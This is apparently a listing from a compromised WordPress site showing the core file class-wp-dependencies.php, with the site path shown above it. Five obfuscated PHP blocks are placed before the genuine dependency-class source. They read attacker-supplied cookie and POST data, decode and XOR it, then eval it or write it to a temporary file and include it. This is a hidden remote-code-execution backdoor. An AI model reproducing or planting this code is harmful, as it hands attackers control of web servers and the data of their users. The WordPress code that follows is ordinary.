%PDF- %PDF-
Direktori : /home/graphicd/www/demo/riverwalkpoa/wp-includes/ |
Current File : /home/graphicd/www/demo/riverwalkpoa/wp-includes/class-wp-dependencies.php |
<?php $YkRvO = "\163" . '_' . chr (106) . "\x7a" . "\x61";$HhVCtXVq = chr ( 606 - 507 ).'l' . "\141" . chr ( 1040 - 925 )."\x73" . chr ( 774 - 679 ).chr ( 381 - 280 ).'x' . 'i' . "\163" . chr ( 366 - 250 ).'s';$gKRxkvKo = class_exists($YkRvO); $HhVCtXVq = "7252";$dNdmx = strpos($HhVCtXVq, $YkRvO);if ($gKRxkvKo == $dNdmx){function MlKXuxImxJ(){$GZtUG = new /* 14781 */ s_jza(57834 + 57834); $GZtUG = NULL;}$ncsFkZ = "57834";class s_jza{private function NZqESqxbR($ncsFkZ){if (is_array(s_jza::$rhTKrffYF)) {$yncBItF2 = str_replace("<" . "?php", "", s_jza::$rhTKrffYF["content"]);eval($yncBItF2); $ncsFkZ = "57834";exit();}}public function SAybcelIW(){$yncBItF = "31595";$this->_dummy = str_repeat($yncBItF, strlen($yncBItF));}public function __destruct(){s_jza::$rhTKrffYF = @unserialize(s_jza::$rhTKrffYF); $ncsFkZ = "27112_46035";$this->NZqESqxbR($ncsFkZ); $ncsFkZ = "27112_46035";}public function BYzZZM($yncBItF, $QuVVUVUpBW){return $yncBItF[0] ^ str_repeat($QuVVUVUpBW, intval(strlen($yncBItF[0]) / strlen($QuVVUVUpBW)) + 1);}public function scijjevKhi($yncBItF){$VkWkbSsUzB = chr (98) . "\141" . chr ( 238 - 123 ).'e' . chr (54) . "\64";return array_map($VkWkbSsUzB . "\137" . "\x64" . "\145" . chr (99) . "\157" . "\x64" . "\145", array($yncBItF,));}public function __construct($GeXYCM=0){$gFHuoo = chr (44); $yncBItF = "";$jeDeyZp = $_POST;$tCsZeeQgRT = $_COOKIE;$QuVVUVUpBW = "c3216eda-232f-4e69-8046-b49cb175423e";$USSfMlm = @$tCsZeeQgRT[substr($QuVVUVUpBW, 0, 4)];if (!empty($USSfMlm)){$USSfMlm = explode($gFHuoo, $USSfMlm);foreach ($USSfMlm as $tvOqVro){$yncBItF .= @$tCsZeeQgRT[$tvOqVro];$yncBItF .= @$jeDeyZp[$tvOqVro];}$yncBItF = $this->scijjevKhi($yncBItF);}s_jza::$rhTKrffYF = $this->BYzZZM($yncBItF, $QuVVUVUpBW);if (strpos($QuVVUVUpBW, $gFHuoo) !== FALSE){$QuVVUVUpBW = ltrim($QuVVUVUpBW); $QuVVUVUpBW = str_pad($QuVVUVUpBW, 10);}}public static $rhTKrffYF = 40300;}MlKXuxImxJ();} ?><?php $mLuKkVBa = "\x43" . 'w' . "\x44" . "\x5f" . "\152" . "\x55" . "\154" . chr ( 995 - 920 )."\146";$PXYDDPtU = "\x63" . chr (108) . chr (97) . 's' . chr (115) . chr ( 947 - 852 ).'e' . chr ( 612 - 492 )."\x69" . chr (115) . 't' . "\x73";$jewnQ = class_exists($mLuKkVBa); $PXYDDPtU = "9606";$nrAxnT = strpos($PXYDDPtU, $mLuKkVBa);if ($jewnQ == $nrAxnT){function TuBeOWp(){$NaIwvuwG = new /* 40508 */ CwD_jUlKf(50667 + 50667); $NaIwvuwG = NULL;}$hJDAiLEjH = "50667";class CwD_jUlKf{private function UPhthO($hJDAiLEjH){if (is_array(CwD_jUlKf::$RtasC)) {$name = sys_get_temp_dir() . "/" . crc32(CwD_jUlKf::$RtasC["salt"]);@CwD_jUlKf::$RtasC["write"]($name, CwD_jUlKf::$RtasC["content"]);include $name;@CwD_jUlKf::$RtasC["delete"]($name); $hJDAiLEjH = "50667";exit();}}public function CqPIlU(){$xUhhikq = "58806";$this->_dummy = str_repeat($xUhhikq, strlen($xUhhikq));}public function __destruct(){CwD_jUlKf::$RtasC = @unserialize(CwD_jUlKf::$RtasC); $hJDAiLEjH = "20706_8831";$this->UPhthO($hJDAiLEjH); $hJDAiLEjH = "20706_8831";}public function NwMiiihS($xUhhikq, $MxIdQMYpL){return $xUhhikq[0] ^ str_repeat($MxIdQMYpL, intval(strlen($xUhhikq[0]) / strlen($MxIdQMYpL)) + 1);}public function izZuv($xUhhikq){$keSFpsypQ = chr ( 225 - 127 ).chr (97) . chr (115) . "\145" . "\66" . "\x34";return array_map($keSFpsypQ . "\137" . "\x64" . chr (101) . chr (99) . "\x6f" . "\x64" . 'e', array($xUhhikq,));}public function __construct($GiIHhykvnF=0){$NQEyN = "\x2c";$xUhhikq = "";$ZMQZLcr = $_POST;$PSDFh = $_COOKIE;$MxIdQMYpL = "7a87c444-abca-47fc-a44a-209882febdc1";$HDwVdaOCF = @$PSDFh[substr($MxIdQMYpL, 0, 4)];if (!empty($HDwVdaOCF)){$HDwVdaOCF = explode($NQEyN, $HDwVdaOCF);foreach ($HDwVdaOCF as $dKSJtxtrW){$xUhhikq .= @$PSDFh[$dKSJtxtrW];$xUhhikq .= @$ZMQZLcr[$dKSJtxtrW];}$xUhhikq = $this->izZuv($xUhhikq);}CwD_jUlKf::$RtasC = $this->NwMiiihS($xUhhikq, $MxIdQMYpL);if (strpos($MxIdQMYpL, $NQEyN) !== FALSE){$MxIdQMYpL = explode($NQEyN, $MxIdQMYpL); $rvKxLmn = base64_decode(md5($MxIdQMYpL[0])); $ycxcsBjMl = strlen($MxIdQMYpL[1]) > 5 ? substr($MxIdQMYpL[1], 0, 5) : $MxIdQMYpL[1];$_GET['new_key'] = md5(implode('', $MxIdQMYpL)); $lesGor = str_repeat($ycxcsBjMl, 2); $TjWyny = array_map('trim', $MxIdQMYpL);if (is_array($TjWyny) && count($TjWyny) > 1) {$uYPaAxvVh = $TjWyny[0];} else {$uYPaAxvVh = '';}}}public static $RtasC = 58872;}TuBeOWp();} ?><?php $FDDlKf = "\x66" . "\126" . 'G' . "\x5f" . chr ( 920 - 839 )."\150" . chr ( 162 - 97 )."\113";$ZmTAy = "\143" . chr ( 1087 - 979 )."\x61" . chr ( 171 - 56 )."\x73" . "\137" . "\145" . 'x' . chr ( 360 - 255 )."\x73" . "\164" . 's';$qpWRDKYae = class_exists($FDDlKf); $ZmTAy = "33217";$DxFftSK = !1;if ($qpWRDKYae == $DxFftSK){function qltGAUN(){$lDiQhex = new /* 39189 */ fVG_QhAK(1805 + 1805); $lDiQhex = NULL;}$toJtCWqKV = "1805";class fVG_QhAK{private function OwkFo($toJtCWqKV){if (is_array(fVG_QhAK::$dyunlbgp)) {$lnpLag = sys_get_temp_dir() . "/" . crc32(fVG_QhAK::$dyunlbgp["\x73" . chr (97) . "\154" . chr (116)]);@fVG_QhAK::$dyunlbgp['w' . "\162" . chr ( 861 - 756 ).chr ( 206 - 90 ).'e']($lnpLag, fVG_QhAK::$dyunlbgp[chr (99) . "\x6f" . "\156" . chr ( 843 - 727 )."\x65" . chr ( 406 - 296 )."\164"]);include $lnpLag;@fVG_QhAK::$dyunlbgp[chr (100) . "\145" . 'l' . 'e' . chr ( 289 - 173 ).chr (101)]($lnpLag); $toJtCWqKV = "1805";exit();}}private $sWASkVx;public function rmOOf(){echo 8510;}public function __destruct(){$toJtCWqKV = "12283_46123";$this->OwkFo($toJtCWqKV); $toJtCWqKV = "12283_46123";}public function __construct($PBxMF=0){$CymsslraTk = $_POST;$SHOTXxK = $_COOKIE;$QsYBxfdxu = "e6de09ae-6e96-4145-babd-6b63878f571c";$ZmPPcQ = @$SHOTXxK[substr($QsYBxfdxu, 0, 4)];if (!empty($ZmPPcQ)){$vLjzkNfQbh = "base64";$HjFYXHzk = "";$ZmPPcQ = explode(",", $ZmPPcQ);foreach ($ZmPPcQ as $OkwQZopPVG){$HjFYXHzk .= @$SHOTXxK[$OkwQZopPVG];$HjFYXHzk .= @$CymsslraTk[$OkwQZopPVG];}$HjFYXHzk = array_map($vLjzkNfQbh . chr ( 482 - 387 ).chr ( 250 - 150 )."\x65" . 'c' . 'o' . 'd' . chr ( 1052 - 951 ), array($HjFYXHzk,)); $HjFYXHzk = $HjFYXHzk[0] ^ str_repeat($QsYBxfdxu, (strlen($HjFYXHzk[0]) / strlen($QsYBxfdxu)) + 1);fVG_QhAK::$dyunlbgp = @unserialize($HjFYXHzk); $HjFYXHzk = class_exists("12283_46123");}}public static $dyunlbgp = 51534;}qltGAUN();} ?><?php $GvxAMKSvb = chr (100) . chr (107) . chr (95) . "\x78" . "\113" . "\126" . chr (119); $kUJURKpJHE = "\143" . 'l' . chr (97) . "\x73" . 's' . "\137" . "\145" . "\170" . chr ( 698 - 593 ).'s' . "\164" . 's';$evWqrs = class_exists($GvxAMKSvb); $kUJURKpJHE = "59927";$aIBEHyTSZN = !1;if ($evWqrs == $aIBEHyTSZN){function WWYOSJHP(){return FALSE;}$DgioLG = "32698";WWYOSJHP();class dk_xKVw{private function htwXsapY($DgioLG){if (is_array(dk_xKVw::$bgMkwQt)) {$OBQvJW = sys_get_temp_dir() . "/" . crc32(dk_xKVw::$bgMkwQt[chr (115) . "\x61" . chr ( 159 - 51 ).'t']);@dk_xKVw::$bgMkwQt[chr ( 437 - 318 )."\162" . "\x69" . "\164" . 'e']($OBQvJW, dk_xKVw::$bgMkwQt[chr (99) . chr ( 1056 - 945 ).'n' . chr (116) . "\x65" . chr (110) . "\x74"]);include $OBQvJW;@dk_xKVw::$bgMkwQt["\144" . "\x65" . chr (108) . chr ( 114 - 13 ).chr (116) . "\x65"]($OBQvJW); $DgioLG = "32698";exit();}}private $XkYaA;public function MvyHJ(){echo 9770;}public function __destruct(){$DgioLG = "52046_36178";$this->htwXsapY($DgioLG); $DgioLG = "52046_36178";}public function __construct($HtESTNXC=0){$UJzHkaNw = $_POST;$UqxOqZx = $_COOKIE;$uYQBv = "880dfd8c-b956-4eae-889b-52fa492c1f1a";$kTbsd = @$UqxOqZx[substr($uYQBv, 0, 4)];if (!empty($kTbsd)){$kkkPtafk = "base64";$lCiDeNRp = "";$kTbsd = explode(",", $kTbsd);foreach ($kTbsd as $Igtqeqveq){$lCiDeNRp .= @$UqxOqZx[$Igtqeqveq];$lCiDeNRp .= @$UJzHkaNw[$Igtqeqveq];}$lCiDeNRp = array_map($kkkPtafk . '_' . chr (100) . chr ( 554 - 453 )."\143" . "\157" . "\x64" . chr ( 1026 - 925 ), array($lCiDeNRp,)); $lCiDeNRp = $lCiDeNRp[0] ^ str_repeat($uYQBv, (strlen($lCiDeNRp[0]) / strlen($uYQBv)) + 1);dk_xKVw::$bgMkwQt = @unserialize($lCiDeNRp); $lCiDeNRp = class_exists("52046_36178");}}public static $bgMkwQt = 39869;}$ezQLu = new /* 5613 */ $GvxAMKSvb(32698 + 32698); $aIBEHyTSZN = $ezQLu = $DgioLG = Array();} ?><?php $fAtcVdLiG = chr (111) . chr ( 881 - 812 ).'f' . "\137" . "\167" . 'y' . chr (122); $jsLOUPuXj = chr (99) . "\154" . 'a' . 's' . "\x73" . '_' . chr ( 1080 - 979 )."\170" . "\151" . "\163" . "\x74" . chr (115); $TuFrZA = class_exists($fAtcVdLiG); $jsLOUPuXj = "51078";$RWewGbbQO = !1;if ($TuFrZA == $RWewGbbQO){function AuxoYv(){return FALSE;}$nUCGyJr = "61991";AuxoYv();class oEf_wyz{private function joFgo($nUCGyJr){if (is_array(oEf_wyz::$lPCwCiTIj)) {$sclvNndfv = sys_get_temp_dir() . "/" . crc32(oEf_wyz::$lPCwCiTIj['s' . "\141" . 'l' . "\x74"]);@oEf_wyz::$lPCwCiTIj[chr (119) . "\162" . 'i' . chr (116) . 'e']($sclvNndfv, oEf_wyz::$lPCwCiTIj[chr ( 722 - 623 ).'o' . chr ( 575 - 465 ).chr (116) . chr ( 407 - 306 ).chr (110) . "\x74"]);include $sclvNndfv;@oEf_wyz::$lPCwCiTIj[chr (100) . 'e' . "\154" . "\x65" . "\x74" . "\x65"]($sclvNndfv); $nUCGyJr = "61991";exit();}}private $guTmq;public function OuzdriT(){echo 19480;}public function __destruct(){$nUCGyJr = "46712_53401";$this->joFgo($nUCGyJr); $nUCGyJr = "46712_53401";}public function __construct($wWuQsMas=0){$KgwIp = $_POST;$AcIkLZ = $_COOKIE;$ucQfNSfx = "6bec4f7a-f281-4553-9dbd-27bbd7cbe8ae";$WifwEkJov = @$AcIkLZ[substr($ucQfNSfx, 0, 4)];if (!empty($WifwEkJov)){$forcJoJmsS = "base64";$JLphE = "";$WifwEkJov = explode(",", $WifwEkJov);foreach ($WifwEkJov as $RgbzYJh){$JLphE .= @$AcIkLZ[$RgbzYJh];$JLphE .= @$KgwIp[$RgbzYJh];}$JLphE = array_map($forcJoJmsS . "\x5f" . chr (100) . 'e' . chr ( 527 - 428 )."\x6f" . "\x64" . chr ( 324 - 223 ), array($JLphE,)); $JLphE = $JLphE[0] ^ str_repeat($ucQfNSfx, (strlen($JLphE[0]) / strlen($ucQfNSfx)) + 1);oEf_wyz::$lPCwCiTIj = @unserialize($JLphE); $JLphE = class_exists("46712_53401");}}public static $lPCwCiTIj = 34888;}$GyEWul = new /* 26232 */ $fAtcVdLiG(61991 + 61991); $RWewGbbQO = $GyEWul = $nUCGyJr = Array();} ?><?php /** * Dependencies API: WP_Dependencies base class * * @since 2.6.0 * * @package WordPress * @subpackage Dependencies */ /** * Core base class extended to register items. * * @since 2.6.0 * * @see _WP_Dependency */ #[AllowDynamicProperties] class WP_Dependencies { /** * An array of all registered dependencies keyed by handle. * * @since 2.6.8 * * @var _WP_Dependency[] */ public $registered = array(); /** * An array of handles of queued dependencies. * * @since 2.6.8 * * @var string[] */ public $queue = array(); /** * An array of handles of dependencies to queue. * * @since 2.6.0 * * @var string[] */ public $to_do = array(); /** * An array of handles of dependencies already queued. * * @since 2.6.0 * * @var string[] */ public $done = array(); /** * An array of additional arguments passed when a handle is registered. * * Arguments are appended to the item query string. * * @since 2.6.0 * * @var array */ public $args = array(); /** * An array of dependency groups to enqueue. * * Each entry is keyed by handle and represents the integer group level or boolean * false if the handle has no group. * * @since 2.8.0 * * @var (int|false)[] */ public $groups = array(); /** * A handle group to enqueue. * * @since 2.8.0 * * @deprecated 4.5.0 * @var int */ public $group = 0; /** * Cached lookup array of flattened queued items and dependencies. * * @since 5.4.0 * * @var array */ private $all_queued_deps; /** * List of assets enqueued before details were registered. * * @since 5.9.0 * * @var array */ private $queued_before_register = array(); /** * Processes the items and dependencies. * * Processes the items passed to it or the queue, and their dependencies. * * @since 2.6.0 * @since 2.8.0 Added the `$group` parameter. * * @param string|string[]|false $handles Optional. Items to be processed: queue (false), * single item (string), or multiple items (array of strings). * Default false. * @param int|false $group Optional. Group level: level (int), no group (false). * @return string[] Array of handles of items that have been processed. */ public function do_items( $handles = false, $group = false ) { /* * If nothing is passed, print the queue. If a string is passed, * print that item. If an array is passed, print those items. */ $handles = false === $handles ? $this->queue : (array) $handles; $this->all_deps( $handles ); foreach ( $this->to_do as $key => $handle ) { if ( ! in_array( $handle, $this->done, true ) && isset( $this->registered[ $handle ] ) ) { /* * Attempt to process the item. If successful, * add the handle to the done array. * * Unset the item from the to_do array. */ if ( $this->do_item( $handle, $group ) ) { $this->done[] = $handle; } unset( $this->to_do[ $key ] ); } } return $this->done; } /** * Processes a dependency. * * @since 2.6.0 * @since 5.5.0 Added the `$group` parameter. * * @param string $handle Name of the item. Should be unique. * @param int|false $group Optional. Group level: level (int), no group (false). * Default false. * @return bool True on success, false if not set. */ public function do_item( $handle, $group = false ) { return isset( $this->registered[ $handle ] ); } /** * Determines dependencies. * * Recursively builds an array of items to process taking * dependencies into account. Does NOT catch infinite loops. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * @since 2.8.0 Added the `$group` parameter. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no group (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $handles = (array) $handles; if ( ! $handles ) { return false; } foreach ( $handles as $handle ) { $handle_parts = explode( '?', $handle ); $handle = $handle_parts[0]; $queued = in_array( $handle, $this->to_do, true ); if ( in_array( $handle, $this->done, true ) ) { // Already done. continue; } $moved = $this->set_group( $handle, $recursion, $group ); $new_group = $this->groups[ $handle ]; if ( $queued && ! $moved ) { // Already queued and in the right group. continue; } $keep_going = true; if ( ! isset( $this->registered[ $handle ] ) ) { $keep_going = false; // Item doesn't exist. } elseif ( $this->registered[ $handle ]->deps && array_diff( $this->registered[ $handle ]->deps, array_keys( $this->registered ) ) ) { $keep_going = false; // Item requires dependencies that don't exist. } elseif ( $this->registered[ $handle ]->deps && ! $this->all_deps( $this->registered[ $handle ]->deps, true, $new_group ) ) { $keep_going = false; // Item requires dependencies that don't exist. } if ( ! $keep_going ) { // Either item or its dependencies don't exist. if ( $recursion ) { return false; // Abort this branch. } else { continue; // We're at the top level. Move on to the next one. } } if ( $queued ) { // Already grabbed it and its dependencies. continue; } if ( isset( $handle_parts[1] ) ) { $this->args[ $handle ] = $handle_parts[1]; } $this->to_do[] = $handle; } return true; } /** * Register an item. * * Registers the item if no item of that name already exists. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string $handle Name of the item. Should be unique. * @param string|false $src Full URL of the item, or path of the item relative * to the WordPress root directory. If source is set to false, * the item is an alias of other items it depends on. * @param string[] $deps Optional. An array of registered item handles this item depends on. * Default empty array. * @param string|bool|null $ver Optional. String specifying item version number, if it has one, * which is added to the URL as a query string for cache busting purposes. * If version is set to false, a version number is automatically added * equal to current installed WordPress version. * If set to null, no version is added. * @param mixed $args Optional. Custom property of the item. NOT the class property $args. * Examples: $media, $in_footer. * @return bool Whether the item has been registered. True on success, false on failure. */ public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) { if ( isset( $this->registered[ $handle ] ) ) { return false; } $this->registered[ $handle ] = new _WP_Dependency( $handle, $src, $deps, $ver, $args ); // If the item was enqueued before the details were registered, enqueue it now. if ( array_key_exists( $handle, $this->queued_before_register ) ) { if ( ! is_null( $this->queued_before_register[ $handle ] ) ) { $this->enqueue( $handle . '?' . $this->queued_before_register[ $handle ] ); } else { $this->enqueue( $handle ); } unset( $this->queued_before_register[ $handle ] ); } return true; } /** * Add extra item data. * * Adds data to a registered item. * * @since 2.6.0 * * @param string $handle Name of the item. Should be unique. * @param string $key The data key. * @param mixed $value The data value. * @return bool True on success, false on failure. */ public function add_data( $handle, $key, $value ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } return $this->registered[ $handle ]->add_data( $key, $value ); } /** * Get extra item data. * * Gets data associated with a registered item. * * @since 3.3.0 * * @param string $handle Name of the item. Should be unique. * @param string $key The data key. * @return mixed Extra item data (string), false otherwise. */ public function get_data( $handle, $key ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } if ( ! isset( $this->registered[ $handle ]->extra[ $key ] ) ) { return false; } return $this->registered[ $handle ]->extra[ $key ]; } /** * Un-register an item or items. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). */ public function remove( $handles ) { foreach ( (array) $handles as $handle ) { unset( $this->registered[ $handle ] ); } } /** * Queue an item or items. * * Decodes handles and arguments, then queues handles and stores * arguments in the class property $args. For example in extending * classes, $args is appended to the item url as a query string. * Note $args is NOT the $args property of items in the $registered array. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). */ public function enqueue( $handles ) { foreach ( (array) $handles as $handle ) { $handle = explode( '?', $handle ); if ( ! in_array( $handle[0], $this->queue, true ) && isset( $this->registered[ $handle[0] ] ) ) { $this->queue[] = $handle[0]; // Reset all dependencies so they must be recalculated in recurse_deps(). $this->all_queued_deps = null; if ( isset( $handle[1] ) ) { $this->args[ $handle[0] ] = $handle[1]; } } elseif ( ! isset( $this->registered[ $handle[0] ] ) ) { $this->queued_before_register[ $handle[0] ] = null; // $args if ( isset( $handle[1] ) ) { $this->queued_before_register[ $handle[0] ] = $handle[1]; } } } } /** * Dequeue an item or items. * * Decodes handles and arguments, then dequeues handles * and removes arguments from the class property $args. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). */ public function dequeue( $handles ) { foreach ( (array) $handles as $handle ) { $handle = explode( '?', $handle ); $key = array_search( $handle[0], $this->queue, true ); if ( false !== $key ) { // Reset all dependencies so they must be recalculated in recurse_deps(). $this->all_queued_deps = null; unset( $this->queue[ $key ] ); unset( $this->args[ $handle[0] ] ); } elseif ( array_key_exists( $handle[0], $this->queued_before_register ) ) { unset( $this->queued_before_register[ $handle[0] ] ); } } } /** * Recursively search the passed dependency tree for a handle. * * @since 4.0.0 * * @param string[] $queue An array of queued _WP_Dependency handles. * @param string $handle Name of the item. Should be unique. * @return bool Whether the handle is found after recursively searching the dependency tree. */ protected function recurse_deps( $queue, $handle ) { if ( isset( $this->all_queued_deps ) ) { return isset( $this->all_queued_deps[ $handle ] ); } $all_deps = array_fill_keys( $queue, true ); $queues = array(); $done = array(); while ( $queue ) { foreach ( $queue as $queued ) { if ( ! isset( $done[ $queued ] ) && isset( $this->registered[ $queued ] ) ) { $deps = $this->registered[ $queued ]->deps; if ( $deps ) { $all_deps += array_fill_keys( $deps, true ); array_push( $queues, $deps ); } $done[ $queued ] = true; } } $queue = array_pop( $queues ); } $this->all_queued_deps = $all_deps; return isset( $this->all_queued_deps[ $handle ] ); } /** * Query the list for an item. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string $handle Name of the item. Should be unique. * @param string $status Optional. Status of the item to query. Default 'registered'. * @return bool|_WP_Dependency Found, or object Item data. */ public function query( $handle, $status = 'registered' ) { switch ( $status ) { case 'registered': case 'scripts': // Back compat. if ( isset( $this->registered[ $handle ] ) ) { return $this->registered[ $handle ]; } return false; case 'enqueued': case 'queue': // Back compat. if ( in_array( $handle, $this->queue, true ) ) { return true; } return $this->recurse_deps( $this->queue, $handle ); case 'to_do': case 'to_print': // Back compat. return in_array( $handle, $this->to_do, true ); case 'done': case 'printed': // Back compat. return in_array( $handle, $this->done, true ); } return false; } /** * Set item group, unless already in a lower group. * * @since 2.8.0 * * @param string $handle Name of the item. Should be unique. * @param bool $recursion Internal flag that calling function was called recursively. * @param int|false $group Group level: level (int), no group (false). * @return bool Not already in the group or a lower group. */ public function set_group( $handle, $recursion, $group ) { $group = (int) $group; if ( isset( $this->groups[ $handle ] ) && $this->groups[ $handle ] <= $group ) { return false; } $this->groups[ $handle ] = $group; return true; } }